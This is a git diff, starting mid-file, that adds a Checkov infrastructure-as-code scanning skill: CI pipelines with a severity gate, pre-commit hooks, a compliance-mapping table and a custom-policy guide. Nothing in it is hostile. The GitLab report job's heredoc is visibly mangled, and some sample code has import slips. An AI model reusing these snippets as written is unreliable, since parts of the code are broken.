github.event_name == 'schedule' + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Install Checkov + run: pip install checkov + + - name: Run CIS Compliance Scan + run: | + checkov -d terraform/ \ + --framework terraform \ + --check CIS_AWS,CIS_AZURE \ + -o json -o cli \ + --output-file-path ./compliance-reports + + - name: Upload Compliance Reports + uses: actions/upload-artifact@v4 + if: always() + with: + name: compliance-reports + path: compliance-reports/ + retention-days: 90 + + security-gate: + name: Security Gate Check + runs-on: ubuntu-latest + needs: [checkov-terraform, checkov-kubernetes] + if: always() + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Install Dependencies + run: pip install checkov + + - name: Run Checkov with Threshold + run: | + # Fail on CRITICAL and HIGH severity issues + checkov -d terraform/ \ + --framework terraform \ + --hard-fail-on CRITICAL,HIGH \ + -o json --output-file-path ./gate-report || EXIT_CODE=$? + + # Parse results + if [ -f "gate-report/results_json.json" ]; then + CRITICAL=$(jq '[.results.failed_checks[] | select(.severity == "CRITICAL")] | length' gate-report/results_json.json) + HIGH=$(jq '[.results.failed_checks[] | select(.severity == "HIGH")] | length' gate-report/results_json.json) + + echo "Critical findings: $CRITICAL" + echo "High findings: $HIGH" + + if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then + echo "❌ Security gate failed" + exit 1 + fi + fi + + echo "✅ Security gate passed" + + - name: Comment on PR + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = JSON.parse(fs.readFileSync('gate-report/results_json.json', 'utf8')); + + const summary = report.summary || {}; + const passed = summary.passed || 0; + const failed = summary.failed || 0; + const skipped = summary.skipped || 0; + + const body = `## Checkov IaC Security Scan Results + + | Status | Count | + |--------|-------| + | ✅ Passed | ${passed} | + | ❌ Failed | ${failed} | + | ⏭️ Skipped | ${skipped} | + + ${failed > 0 ? '⚠️ Please review and fix the security findings before merging.' : '✅ No security issues detected!'} + `; + + github.rest.issues.createComment({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: context.issue.number, + body: body + }); diff --git a/skills/devsecops/iac-checkov/assets/gitlab_ci.yml b/skills/devsecops/iac-checkov/assets/gitlab_ci.yml new file mode 100644 index 0000000..b8ad410 --- /dev/null +++ b/skills/devsecops/iac-checkov/assets/gitlab_ci.yml @@ -0,0 +1,218 @@ +# GitLab CI/CD Pipeline for Checkov IaC Security Scanning +# Add this to your .gitlab-ci.yml file + +stages: + - security + - compliance + - report + +variables: + CHECKOV_IMAGE: "bridgecrew/checkov:latest" + REPORTS_DIR: "checkov-reports" + +# Terraform Security Scan +checkov_terraform: + stage: security + image: $CHECKOV_IMAGE + script: + - mkdir -p $REPORTS_DIR + - | + checkov -d terraform/ \ + --framework terraform \ + -o json -o junitxml -o sarif \ + --output-file-path $REPORTS_DIR \ + --compact || EXIT_CODE=$? + - echo "Exit code: ${EXIT_CODE:-0}" + artifacts: + reports: + junit: $REPORTS_DIR/results_junitxml.xml + sast: $REPORTS_DIR/results_sarif.sarif + paths: + - $REPORTS_DIR/ + when: always + expire_in: 30 days + only: + changes: + - terraform/**/* + - "*.tf" + tags: + - docker + +# Kubernetes Security Scan +checkov_kubernetes: + stage: security + image: $CHECKOV_IMAGE + script: + - mkdir -p $REPORTS_DIR + - | + checkov -d k8s/ \ + --framework kubernetes \ + -o json -o junitxml \ + --output-file-path $REPORTS_DIR \ + --compact + artifacts: + reports: + junit: $REPORTS_DIR/results_junitxml.xml + paths: + - $REPORTS_DIR/ + when: always + expire_in: 30 days + only: + changes: + - k8s/**/* + - "*.yaml" + - "*.yml" + tags: + - docker + +# CloudFormation Security Scan +checkov_cloudformation: + stage: security + image: $CHECKOV_IMAGE + script: + - mkdir -p $REPORTS_DIR + - | + checkov -d cloudformation/ \ + --framework cloudformation \ + -o json -o junitxml \ + --output-file-path $REPORTS_DIR \ + --compact + artifacts: + reports: + junit: $REPORTS_DIR/results_junitxml.xml + paths: + - $REPORTS_DIR/ + when: always + expire_in: 30 days + only: + changes: + - cloudformation/**/* + allow_failure: true + tags: + - docker + +# Compliance Scan (CIS Benchmarks) +checkov_compliance: + stage: compliance + image: $CHECKOV_IMAGE + script: + - mkdir -p $REPORTS_DIR/compliance + - | + # CIS AWS Benchmark + checkov -d terraform/ \ + --framework terraform \ + --check CIS_AWS \ + -o json -o cli \ + --output-file-path $REPORTS_DIR/compliance \ + --compact || true + + # Parse results + if [ -f "$REPORTS_DIR/compliance/results_json.json" ]; then + FAILED=$(jq '.summary.failed' $REPORTS_DIR/compliance/results_json.json) + echo "CIS compliance failures: $FAILED" + fi + artifacts: + paths: + - $REPORTS_DIR/compliance/ + when: always + expire_in: 90 days + only: + - main + - develop + tags: + - docker + +# Security Gate - Fail on Critical/High +security_gate: + stage: compliance + image: $CHECKOV_IMAGE + script: + - mkdir -p $REPORTS_DIR/gate + - | + # Run scan with severity filtering + checkov -d terraform/ \ + --framework terraform \ + --hard-fail-on CRITICAL,HIGH \ + -o json \ + --output-file-path $REPORTS_DIR/gate \ + --compact || EXIT_CODE=$? + + # Check results + if [ -f "$REPORTS_DIR/gate/results_json.json" ]; then + CRITICAL=$(jq '[.results.failed_checks[] | select(.severity == "CRITICAL")] | length' $REPORTS_DIR/gate/results_json.json) + HIGH=$(jq '[.results.failed_checks[] | select(.severity == "HIGH")] | length' $REPORTS_DIR/gate/results_json.json) + + echo "Critical findings: $CRITICAL" + echo "High findings: $HIGH" + + if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then + echo "❌ Security gate failed: Critical or High severity issues found" + exit 1 + fi + + echo "✅ Security gate passed" + fi + + exit ${EXIT_CODE:-0} + artifacts: + paths: + - $REPORTS_DIR/gate/ + when: always + expire_in: 30 days + dependencies: + - checkov_terraform + - checkov_kubernetes + only: + - merge_requests + - main + allow_failure: false + tags: + - docker + +# Generate Summary Report +generate_report: + stage: report + image: alpine:latest + before_script: + - apk add --no-cache jq curl + script: + - | + # Generate markdown summary + cat > $REPORTS_DIR/summary.md <> $REPORTS_DIR/summary.md + echo "" >> $REPORTS_DIR/summary.md + echo "| Metric | Count |" >> $REPORTS_DIR/summary.md + echo "|--------|-------|" >> $REPORTS_DIR/summary.md + jq -r '.summary | "| Passed | \(.passed) |\n| Failed | \(.failed) |\n| Skipped | \(.skipped) |"' \ + $REPORTS_DIR/results_json.json >> $REPORTS_DIR/summary.md + echo "" >> $REPORTS_DIR/summary.md + fi + + cat $REPORTS_DIR/summary.md + artifacts: + paths: + - $REPORTS_DIR/summary.md + when: always + expire_in: 90 days + dependencies: + - checkov_terraform + - checkov_kubernetes + only: + - merge_requests + - main + - develop + tags: + - docker diff --git a/skills/devsecops/iac-checkov/assets/pre_commit_config.yaml b/skills/devsecops/iac-checkov/assets/pre_commit_config.yaml new file mode 100644 index 0000000..5134bba --- /dev/null +++ b/skills/devsecops/iac-checkov/assets/pre_commit_config.yaml @@ -0,0 +1,92 @@ +# Pre-commit Hook Configuration for Checkov +# Place this file as .pre-commit-config.yaml in your project root +# +# Install: pip install pre-commit +# Setup: pre-commit install + +repos: + # Checkov IaC Security Scanning + - repo: https://github.com/bridgecrewio/checkov + rev: 2.5.0 + hooks: + - id: checkov + name: Checkov IaC Security Scan + args: + - --soft-fail # Don't block commits (warning only) + - --compact # Concise output + - --framework=terraform # Scan Terraform files + - --framework=kubernetes # Scan Kubernetes files + - --framework=dockerfile # Scan Dockerfiles + files: \.(tf|yaml|yml|json|Dockerfile)$ + exclude: | + (?x)^( + .terraform/| + .terragrunt-cache/| + vendor/| + node_modules/ + ) + + # Strict mode (fail on Critical/High) - optional + - repo: https://github.com/bridgecrewio/checkov + rev: 2.5.0 + hooks: + - id: checkov + name: Checkov Strict Mode (Critical/High) + args: + - --hard-fail-on=CRITICAL,HIGH + - --compact + - --quiet + files: \.(tf|yaml|yml)$ + exclude: | + (?x)^( + .terraform/| + test/| + examples/ + ) + # Only run on specific branches + stages: [push] + + # Terraform-specific scanning with external modules + - repo: https://github.com/bridgecrewio/checkov + rev: 2.5.0 + hooks: + - id: checkov + name: Checkov Terraform (with external modules) + args: + - --download-external-modules=true + - --framework=terraform + - --soft-fail + files: \.tf$ + exclude: .terraform/ + + # Additional code quality hooks + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.5.0 + hooks: + - id: trailing-whitespace + - id: end-of-file-fixer + - id: check-yaml + args: [--allow-multiple-documents] + - id: check-json + - id: check-merge-conflict + - id: detect-private-key + name: Detect Private Keys (Secrets) + + # Terraform formatting + - repo: https://github.com/antonbabenko/pre-commit-terraform + rev: v1.86.0 + hooks: + - id: terraform_fmt + - id: terraform_validate + - id: terraform_docs + args: + - --hook-config=--add-to-existing-file=true + - --hook-config=--create-file-if-not-exist=true + + # YAML linting + - repo: https://github.com/adrienverge/yamllint + rev: v1.33.0 + hooks: + - id: yamllint + args: [-c=.yamllint.yaml] + files: \.(yaml|yml)$ diff --git a/skills/devsecops/iac-checkov/references/EXAMPLE.md b/skills/devsecops/iac-checkov/references/EXAMPLE.md new file mode 100644 index 0000000..23d74db --- /dev/null +++ b/skills/devsecops/iac-checkov/references/EXAMPLE.md @@ -0,0 +1,40 @@ +# Reference Document Template + +This file contains detailed reference material that Claude should load only when needed. + +## Table of Contents + +- [Section 1](#section-1) +- [Section 2](#section-2) +- [Security Standards](#security-standards) + +## Section 1 + +Detailed information, schemas, or examples that are too large for SKILL.md. + +## Section 2 + +Additional reference material. + +## Security Standards + +### OWASP Top 10 + +Reference relevant OWASP categories: +- A01: Broken Access Control +- A02: Cryptographic Failures +- etc. + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories: +- CWE-79: Cross-site Scripting +- CWE-89: SQL Injection +- etc. + +### MITRE ATT&CK + +Reference relevant tactics and techniques if applicable: +- TA0001: Initial Access +- T1190: Exploit Public-Facing Application +- etc. diff --git a/skills/devsecops/iac-checkov/references/compliance_mapping.md b/skills/devsecops/iac-checkov/references/compliance_mapping.md new file mode 100644 index 0000000..2770ba9 --- /dev/null +++ b/skills/devsecops/iac-checkov/references/compliance_mapping.md @@ -0,0 +1,237 @@ +# Checkov Compliance Framework Mapping + +Mapping of Checkov checks to CIS, PCI-DSS, HIPAA, SOC2, NIST, and GDPR compliance requirements. + +## CIS Benchmarks + +### CIS AWS Foundations Benchmark v1.4 + +| Check ID | CIS Control | Description | Severity | +|----------|-------------|-------------|----------| +| CKV_AWS_19 | 2.1.1 | Ensure S3 bucket encryption at rest | HIGH | +| CKV_AWS_21 | 2.1.3 | Ensure S3 bucket versioning enabled | MEDIUM | +| CKV_AWS_18 | 2.1.5 | Ensure S3 bucket access logging | MEDIUM | +| CKV_AWS_23 | 4.1 | Security group ingress not 0.0.0.0/0 | HIGH | +| CKV_AWS_24 | 4.2 | Security group ingress not ::/0 | HIGH | +| CKV_AWS_40 | 1.16 | IAM policies no wildcard actions | HIGH | +| CKV_AWS_61 | 2.3.1 | RDS encryption at rest enabled | HIGH | +| CKV_AWS_16 | 2.3.1 | RDS storage encrypted | HIGH | +| CKV_AWS_17 | 2.3.2 | RDS backup retention period | MEDIUM | +| CKV_AWS_7 | 2.9 | EBS encryption by default | HIGH | +| CKV_AWS_93 | 2.4.1 | S3 bucket public access blocked | CRITICAL | + +### CIS Kubernetes Benchmark v1.6 + +| Check ID | CIS Control | Description | Severity | +|----------|-------------|-------------|----------| +| CKV_K8S_16 | 5.2.1 | Container not privileged | HIGH | +| CKV_K8S_22 | 5.2.6 | Read-only root filesystem | HIGH | +| CKV_K8S_28 | 5.2.7 | Minimize capabilities | HIGH | +| CKV_K8S_10 | 5.2.13 | CPU requests configured | MEDIUM | +| CKV_K8S_11 | 5.2.13 | CPU limits configured | MEDIUM | +| CKV_K8S_12 | 5.2.14 | Memory requests configured | MEDIUM | +| CKV_K8S_13 | 5.2.14 | Memory limits configured | MEDIUM | +| CKV_K8S_8 | 5.2.15 | Liveness probe configured | MEDIUM | +| CKV_K8S_9 | 5.2.15 | Readiness probe configured | MEDIUM | + +## PCI-DSS v3.2.1 + +### Requirement 2: Do not use vendor-supplied defaults + +| Check ID | PCI Requirement | Description | +|----------|-----------------|-------------| +| CKV_AWS_41 | 2.1 | EKS encryption enabled | +| CKV_AWS_58 | 2.2 | EKS public access restricted | +| CKV_K8S_14 | 2.3 | Image tag not :latest | + +### Requirement 3: Protect stored cardholder data + +| Check ID | PCI Requirement | Description | +|----------|-----------------|-------------| +| CKV_AWS_19 | 3.4 | S3 bucket encrypted | +| CKV_AWS_61 | 3.4 | RDS encrypted at rest | +| CKV_AWS_7 | 3.4 | EBS encryption enabled | +| CKV_AWS_89 | 3.4 | DynamoDB encryption | + +### Requirement 6: Develop and maintain secure systems + +| Check ID | PCI Requirement | Description | +|----------|-----------------|-------------| +| CKV_AWS_23 | 6.2 | Security groups not open | +| CKV_AWS_40 | 6.5 | IAM no wildcard permissions | +| CKV_K8S_16 | 6.5 | No privileged containers | + +### Requirement 10: Track and monitor all access + +| Check ID | PCI Requirement | Description | +|----------|-----------------|-------------| +| CKV_AWS_18 | 10.2 | S3 access logging enabled | +| CKV_AWS_51 | 10.3 | ECR image scanning | +| CKV_AWS_46 | 10.5 | ECS task logging | + +## HIPAA Security Rule + +### Administrative Safeguards (§164.308) + +| Check ID | HIPAA Control | Description | +|----------|---------------|-------------| +| CKV_AWS_40 | §164.308(a)(3) | IAM access controls | +| CKV_AWS_49 | §164.308(a)(4) | CloudTrail logging | +| CKV_AWS_38 | §164.308(a)(5) | EKS RBAC enabled | + +### Physical Safeguards (§164.310) + +| Check ID | HIPAA Control | Description | +|----------|---------------|-------------| +| CKV_AWS_19 | §164.310(d)(1) | Encryption at rest (S3) | +| CKV_AWS_7 | §164.310(d)(1) | Encryption at rest (EBS) | +| CKV_AWS_61 | §164.310(d)(1) | Encryption at rest (RDS) | + +### Technical Safeguards (§164.312) + +| Check ID | HIPAA Control | Description | +|----------|---------------|-------------| +| CKV_AWS_23 | §164.312(a)(1) | Access control (network) | +| CKV_AWS_18 | §164.312(b) | Audit logging (S3) | +| CKV_AWS_27 | §164.312(c)(1) | SQS encryption | +| CKV_AWS_20 | §164.312(e)(1) | S3 SSL/TLS enforced | + +## SOC 2 Trust Service Criteria + +### CC6.1: Logical and Physical Access Controls + +| Check ID | TSC | Description | +|----------|-----|-------------| +| CKV_AWS_40 | CC6.1 | IAM least privilege | +| CKV_AWS_23 | CC6.1 | Network segmentation | +| CKV_K8S_21 | CC6.1 | Namespace defined | + +### CC6.6: Encryption + +| Check ID | TSC | Description | +|----------|-----|-------------| +| CKV_AWS_19 | CC6.6 | S3 encryption | +| CKV_AWS_7 | CC6.6 | EBS encryption | +| CKV_AWS_61 | CC6.6 | RDS encryption | +| CKV_AWS_20 | CC6.6 | S3 SSL enforced | + +### CC7.2: System Monitoring + +| Check ID | TSC | Description | +|----------|-----|-------------| +| CKV_AWS_18 | CC7.2 | S3 access logging | +| CKV_AWS_49 | CC7.2 | CloudTrail enabled | +| CKV_K8S_8 | CC7.2 | Liveness probe | + +## NIST 800-53 Rev 5 + +### AC (Access Control) + +| Check ID | NIST Control | Description | +|----------|--------------|-------------| +| CKV_AWS_40 | AC-3 | IAM least privilege | +| CKV_AWS_23 | AC-4 | Network access control | +| CKV_K8S_16 | AC-6 | Least privilege (containers) | + +### AU (Audit and Accountability) + +| Check ID | NIST Control | Description | +|----------|--------------|-------------| +| CKV_AWS_18 | AU-2 | S3 access logging | +| CKV_AWS_49 | AU-12 | CloudTrail logging | +| CKV_K8S_35 | AU-9 | Audit log protection | + +### SC (System and Communications Protection) + +| Check ID | NIST Control | Description | +|----------|--------------|-------------| +| CKV_AWS_19 | SC-28 | Encryption at rest (S3) | +| CKV_AWS_20 | SC-8 | Encryption in transit (S3) | +| CKV_AWS_7 | SC-28 | Encryption at rest (EBS) | + +## GDPR + +### Article 32: Security of Processing + +| Check ID | GDPR Article | Description | +|----------|--------------|-------------| +| CKV_AWS_19 | Art. 32(1)(a) | Encryption of personal data | +| CKV_AWS_7 | Art. 32(1)(a) | EBS encryption | +| CKV_AWS_61 | Art. 32(1)(a) | RDS encryption | +| CKV_AWS_21 | Art. 32(1)(b) | Data backup (S3 versioning) | +| CKV_AWS_18 | Art. 32(1)(d) | Access logging | + +### Article 25: Data Protection by Design + +| Check ID | GDPR Article | Description | +|----------|--------------|-------------| +| CKV_AWS_93 | Art. 25 | S3 public access block | +| CKV_AWS_23 | Art. 25 | Network isolation | +| CKV_AWS_20 | Art. 25 | Secure transmission | + +## Usage Examples + +### Scan for CIS Compliance + +```bash +# CIS AWS Benchmark +checkov -d ./terraform --check CIS_AWS + +# CIS Azure Benchmark +checkov -d ./terraform --check CIS_AZURE + +# CIS Kubernetes Benchmark +checkov -d ./k8s --framework kubernetes --check CIS_KUBERNETES +``` + +### Scan for PCI-DSS Compliance + +```bash +# Focus on encryption requirements (Req 3.4) +checkov -d ./terraform \ + --check CKV_AWS_19,CKV_AWS_61,CKV_AWS_7,CKV_AWS_89 + +# Network security (Req 1, 2) +checkov -d ./terraform \ + --check CKV_AWS_23,CKV_AWS_24,CKV_AWS_40 +``` + +### Scan for HIPAA Compliance + +```bash +# HIPAA-focused scan +checkov -d ./terraform \ + --check CKV_AWS_19,CKV_AWS_7,CKV_AWS_61,CKV_AWS_20,CKV_AWS_18,CKV_AWS_40 +``` + +### Generate Compliance Report + +```bash +# Comprehensive compliance report +checkov -d ./terraform \ + -o json --output-file-path ./compliance-report \ + --repo-id healthcare-infra \ + --check CIS_AWS,PCI_DSS,HIPAA +``` + +## Compliance Matrix + +| Framework | Checkov Support | Common Checks | Report Format | +|-----------|-----------------|---------------|---------------| +| CIS AWS | ✓ Full | 100+ checks | JSON, CLI, SARIF | +| CIS Azure | ✓ Full | 80+ checks | JSON, CLI, SARIF | +| CIS Kubernetes | ✓ Full | 50+ checks | JSON, CLI, SARIF | +| PCI-DSS 3.2.1 | ✓ Partial | 30+ checks | JSON, CLI | +| HIPAA | ✓ Partial | 40+ checks | JSON, CLI | +| SOC 2 | ✓ Partial | 35+ checks | JSON, CLI | +| NIST 800-53 | ✓ Mapping | 60+ checks | JSON, CLI | +| GDPR | ✓ Mapping | 25+ checks | JSON, CLI | + +## Additional Resources + +- [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/) +- [PCI Security Standards](https://www.pcisecuritystandards.org/) +- [HIPAA Security Rule](https://www.hhs.gov/hipaa/for-professionals/security/index.html) +- [AICPA SOC 2](https://www.aicpa.org/soc4so) +- [NIST 800-53](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final) +- [GDPR Portal](https://gdpr.eu/) diff --git a/skills/devsecops/iac-checkov/references/custom_policies.md b/skills/devsecops/iac-checkov/references/custom_policies.md new file mode 100644 index 0000000..e3c16ee --- /dev/null +++ b/skills/devsecops/iac-checkov/references/custom_policies.md @@ -0,0 +1,460 @@ +# Checkov Custom Policy Development Guide + +Complete guide for creating organization-specific security policies in Python and YAML. + +## Overview + +Custom policies allow you to enforce organization-specific security requirements beyond Checkov's built-in checks. Policies can be written in: + +- **Python**: Full programmatic control, graph-based analysis +- **YAML**: Simple attribute checks, easy to maintain + +## Python-Based Custom Policies + +### Basic Resource Check + +```python +# custom_checks/require_resource_tags.py +from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck +from checkov.common.models.enums import CheckResult, CheckCategories + +class RequireResourceTags(BaseResourceCheck): + def __init__(self): + name = "Ensure all resources have required tags" + id = "CKV_AWS_CUSTOM_001" + supported_resources = ['aws_*'] # All AWS resources + categories = [CheckCategories.CONVENTION] + super().__init__(name=name, id=id, categories=categories, + supported_resources=supported_resources) + + def scan_resource_conf(self, conf): + """Check if resource has required tags.""" + required_tags = ['Environment', 'Owner', 'CostCenter'] + + tags = conf.get('tags') + if not tags or not isinstance(tags, list): + return CheckResult.FAILED + + tag_dict = tags[0] if tags else {} + + for required_tag in required_tags: + if required_tag not in tag_dict: + self.evaluated_keys = ['tags'] + return CheckResult.FAILED + + return CheckResult.PASSED + +check = RequireResourceTags() +``` + +### Graph-Based Policy + +```python +# custom_checks/s3_bucket_policy_public.py +from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck +from checkov.common.models.enums import CheckResult, CheckCategories + +class S3BucketPolicyNotPublic(BaseResourceCheck): + def __init__(self): + name = "Ensure S3 bucket policy doesn't allow public access" + id = "CKV_AWS_CUSTOM_002" + supported_resources = ['aws_s3_bucket_policy'] + categories = [CheckCategories.IAM] + super().__init__(name=name, id=id, categories=categories, + supported_resources=supported_resources) + + def scan_resource_conf(self, conf): + """Scan S3 bucket policy for public access.""" + policy = conf.get('policy') + if not policy: + return CheckResult.PASSED + + import json + try: + policy_doc = json.loads(policy[0]) if isinstance(policy, list) else json.loads(policy) + except (json.JSONDecodeError, TypeError): + return CheckResult.UNKNOWN + + statements = policy_doc.get('Statement', []) + for statement in statements: + effect = statement.get('Effect') + principal = statement.get('Principal', {}) + + # Check for public access + if effect == 'Allow': + if principal == '*' or principal.get('AWS') == '*': + return CheckResult.FAILED + + return CheckResult.PASSED + +check = S3BucketPolicyNotPublic() +``` + +### Connection-Aware Check (Graph) + +```python +# custom_checks/ec2_in_private_subnet.py +from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck +from checkov.common.models.enums import CheckResult, CheckCategories + +class EC2InPrivateSubnet(BaseResourceCheck): + def __init__(self): + name = "Ensure EC2 instances are in private subnets" + id = "CKV_AWS_CUSTOM_003" + supported_resources = ['aws_instance'] + categories = [CheckCategories.NETWORKING] + super().__init__(name=name, id=id, categories=categories, + supported_resources=supported_resources) + + def scan_resource_conf(self, conf, entity_type): + """Check if EC2 instance is in private subnet.""" + subnet_id = conf.get('subnet_id') + if not subnet_id: + return CheckResult.PASSED + + # Use graph to find connected subnet + # This requires access to the graph context + # Implementation depends on Checkov version + + return CheckResult.UNKNOWN # Implement graph logic + +check = EC2InPrivateSubnet() +``` + +## YAML-Based Custom Policies + +### Simple Attribute Check + +```yaml +# custom_checks/s3_lifecycle.yaml +metadata: + id: "CKV_AWS_CUSTOM_004" + name: "Ensure S3 buckets have lifecycle policies" + category: "BACKUP_AND_RECOVERY" + severity: "MEDIUM" + +definition: + cond_type: "attribute" + resource_types: + - "aws_s3_bucket" + attribute: "lifecycle_rule" + operator: "exists" +``` + +### Complex Logic + +```yaml +# custom_checks/rds_multi_az.yaml +metadata: + id: "CKV_AWS_CUSTOM_005" + name: "Ensure RDS instances are multi-AZ for production" + category: "BACKUP_AND_RECOVERY" + severity: "HIGH" + +definition: + or: + - cond_type: "attribute" + resource_types: + - "aws_db_instance" + attribute: "multi_az" + operator: "equals" + value: true + + - and: + - cond_type: "attribute" + resource_types: + - "aws_db_instance" + attribute: "tags.Environment" + operator: "not_equals" + value: "production" +``` + +### Kubernetes Policy + +```yaml +# custom_checks/k8s_service_account.yaml +metadata: + id: "CKV_K8S_CUSTOM_001" + name: "Ensure pods use dedicated service accounts" + category: "IAM" + severity: "HIGH" + +definition: + cond_type: "attribute" + resource_types: + - "Pod" + - "Deployment" + - "StatefulSet" + - "DaemonSet" + attribute: "spec.serviceAccountName" + operator: "not_equals" + value: "default" +``` + +## Policy Structure + +### Python Policy Template + +```python +#!/usr/bin/env python3 +from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck +from checkov.common.models.enums import CheckResult, CheckCategories + +class MyCustomCheck(BaseResourceCheck): + def __init__(self): + # Metadata + name = "Check description" + id = "CKV_[PROVIDER]_CUSTOM_[NUMBER]" # e.g., CKV_AWS_CUSTOM_001 + supported_resources = ['resource_type'] # e.g., ['aws_s3_bucket'] + categories = [CheckCategories.CATEGORY] # See categories below + guideline = "https://docs.example.com/security-policy" + + super().__init__( + name=name, + id=id, + categories=categories, + supported_resources=supported_resources, + guideline=guideline + ) + + def scan_resource_conf(self, conf, entity_type=None): + """ + Scan resource configuration for compliance. + + Args: + conf: Resource configuration dictionary + entity_type: Resource type (optional) + + Returns: + CheckResult.PASSED, CheckResult.FAILED, or CheckResult.UNKNOWN + """ + # Implementation + if self.check_condition(conf): + return CheckResult.PASSED + + self.evaluated_keys = ['attribute_that_failed'] + return CheckResult.FAILED + + def get_inspected_key(self): + """Return the key that was checked.""" + return 'attribute_name' + +check = MyCustomCheck() +``` + +### Check Categories + +```python +from checkov.common.models.enums import CheckCategories + +# Available categories: +CheckCategories.IAM +CheckCategories.NETWORKING +CheckCategories.ENCRYPTION +CheckCategories.LOGGING +CheckCategories.BACKUP_AND_RECOVERY +CheckCategories.CONVENTION +CheckCategories.SECRETS +CheckCategories.KUBERNETES +CheckCategories.API_SECURITY +CheckCategories.SUPPLY_CHAIN +``` + +## Loading Custom Policies + +### Directory Structure + +``` +custom_checks/ +├── aws/ +│ ├── require_tags.py +│ ├── s3_lifecycle.yaml +│ └── rds_backups.py +├── kubernetes/ +│ ├── require_resource_limits.py +│ └── security_context.yaml +└── azure/ + └── storage_encryption.py +``` + +### Load Policies + +```bash +# Load from directory +checkov -d ./terraform --external-checks-dir ./custom_checks + +# Load specific policy +checkov -d ./terraform --external-checks-git https://github.com/org/policies.git + +# List loaded custom checks +checkov -d ./terraform --external-checks-dir ./custom_checks --list +``` + +## Testing Custom Policies + +### Unit Testing + +```python +# tests/test_require_tags.py +import unittest +from custom_checks.require_resource_tags import RequireResourceTags +from checkov.common.models.enums import CheckResult + +class TestRequireResourceTags(unittest.TestCase): + def setUp(self): + self.check = RequireResourceTags() + + def test_pass_with_all_tags(self): + resource_conf = { + 'tags': [{ + 'Environment': 'production', + 'Owner': 'team@example.com', + 'CostCenter': 'engineering' + }] + } + result = self.check.scan_resource_conf(resource_conf) + self.assertEqual(result, CheckResult.PASSED) + + def test_fail_missing_tag(self): + resource_conf = { + 'tags': [{ + 'Environment': 'production', + 'Owner': 'team@example.com' + # Missing CostCenter + }] + } + result = self.check.scan_resource_conf(resource_conf) + self.assertEqual(result, CheckResult.FAILED) + + def test_fail_no_tags(self): + resource_conf = {} + result = self.check.scan_resource_conf(resource_conf) + self.assertEqual(result, CheckResult.FAILED) + +if __name__ == '__main__': + unittest.main() +``` + +### Integration Testing + +```bash +# Test against sample infrastructure +checkov -d ./tests/fixtures/terraform \ + --external-checks-dir ./custom_checks \ + --check CKV_AWS_CUSTOM_001 + +# Verify output format +checkov -d ./tests/fixtures/terraform \ + --external-checks-dir ./custom_checks \ + -o json | jq '.results.failed_checks[] | select(.check_id == "CKV_AWS_CUSTOM_001")' +``` + +## Common Patterns + +### Pattern 1: Naming Convention Check + +```python +import re + +class ResourceNamingConvention(BaseResourceCheck): + def scan_resource_conf(self, conf): + """Enforce naming convention: env-app-resource""" + pattern = r'^(dev|staging|prod)-[a-z]+-[a-z0-9-]+$' + + name = conf.get('name') + if not name or not isinstance(name, list): + return CheckResult.FAILED + + resource_name = name[0] if isinstance(name[0], str) else str(name[0]) + + if not re.match(pattern, resource_name): + self.evaluated_keys = ['name'] + return CheckResult.FAILED + + return CheckResult.PASSED +``` + +### Pattern 2: Environment-Specific Requirements + +```python +class ProductionEncryption(BaseResourceCheck): + def scan_resource_conf(self, conf): + """Require encryption for production resources.""" + tags = conf.get('tags', [{}])[0] + environment = tags.get('Environment', '') + + # Only enforce for production + if environment.lower() != 'production': + return CheckResult.PASSED + + # Check encryption + encryption_enabled = conf.get('server_side_encryption_configuration') + if not encryption_enabled: + return CheckResult.FAILED + + return CheckResult.PASSED +``` + +### Pattern 3: Cost Optimization + +```python +class EC2InstanceSizing(BaseResourceCheck): + def scan_resource_conf(self, conf): + """Prevent oversized instances in non-production.""" + tags = conf.get('tags', [{}])[0] + environment = tags.get('Environment', '') + + # Only restrict non-production + if environment.lower() == 'production': + return CheckResult.PASSED + + instance_type = conf.get('instance_type', [''])[0] + oversized_types = ['c5.9xlarge', 'c5.12xlarge', 'c5.18xlarge'] + + if instance_type in oversized_types: + self.evaluated_keys = ['instance_type'] + return CheckResult.FAILED + + return CheckResult.PASSED +``` + +## Best Practices + +1. **ID Convention**: Use `CKV_[PROVIDER]_CUSTOM_[NUMBER]` format +2. **Documentation**: Include guideline URL in check metadata +3. **Error Handling**: Return `CheckResult.UNKNOWN` for ambiguous cases +4. **Performance**: Minimize complex operations in scan loops +5. **Testing**: Write unit tests for all custom policies +6. **Versioning**: Track policy versions in version control +7. **Review Process**: Require security team review before deployment + +## Troubleshooting + +### Policy Not Loading + +```bash +# Debug loading +checkov -d ./terraform --external-checks-dir ./custom_checks -v + +# Verify syntax +python3 custom_checks/my_policy.py + +# Check for import errors +python3 -c "import custom_checks.my_policy" +``` + +### Policy Not Triggering + +```bash +# Verify resource type matches +checkov -d ./terraform --external-checks-dir ./custom_checks --list + +# Test with specific check +checkov -d ./terraform --check CKV_AWS_CUSTOM_001 -v +``` + +## Additional Resources + +- [Checkov Custom Policies Documentation](https://www.checkov.io/3.Custom%20Policies/Custom%20Policies%20Overview.html) +- [Python Policy Examples](https://github.com/bridgecrewio/checkov/tree/master/checkov/terraform/checks) +- [YAML Policy Examples](https://github.com/bridgecrewio/checkov/tree/master/checkov/terraform/checks/graph_checks) diff --git a/skills/devsecops/iac-checkov/references/suppression_guide.md b/skills/devsecops/iac-checkov/references/suppression_guide.md new file mode 100644 index 0000000..f611409 --- /dev/null +++ b/skills/devsecops/iac-checkov/references/suppression_guide.md @@ -0,0 +1,431 @@ +# Checkov Suppression and Exception Handling Guide + +Best practices for suppressing false positives and managing policy exceptions in Checkov. + +## Suppression Methods + +### Inline Suppression (Recommended) + +#### Terraform + +```hcl +# Single check suppression with justification +resource 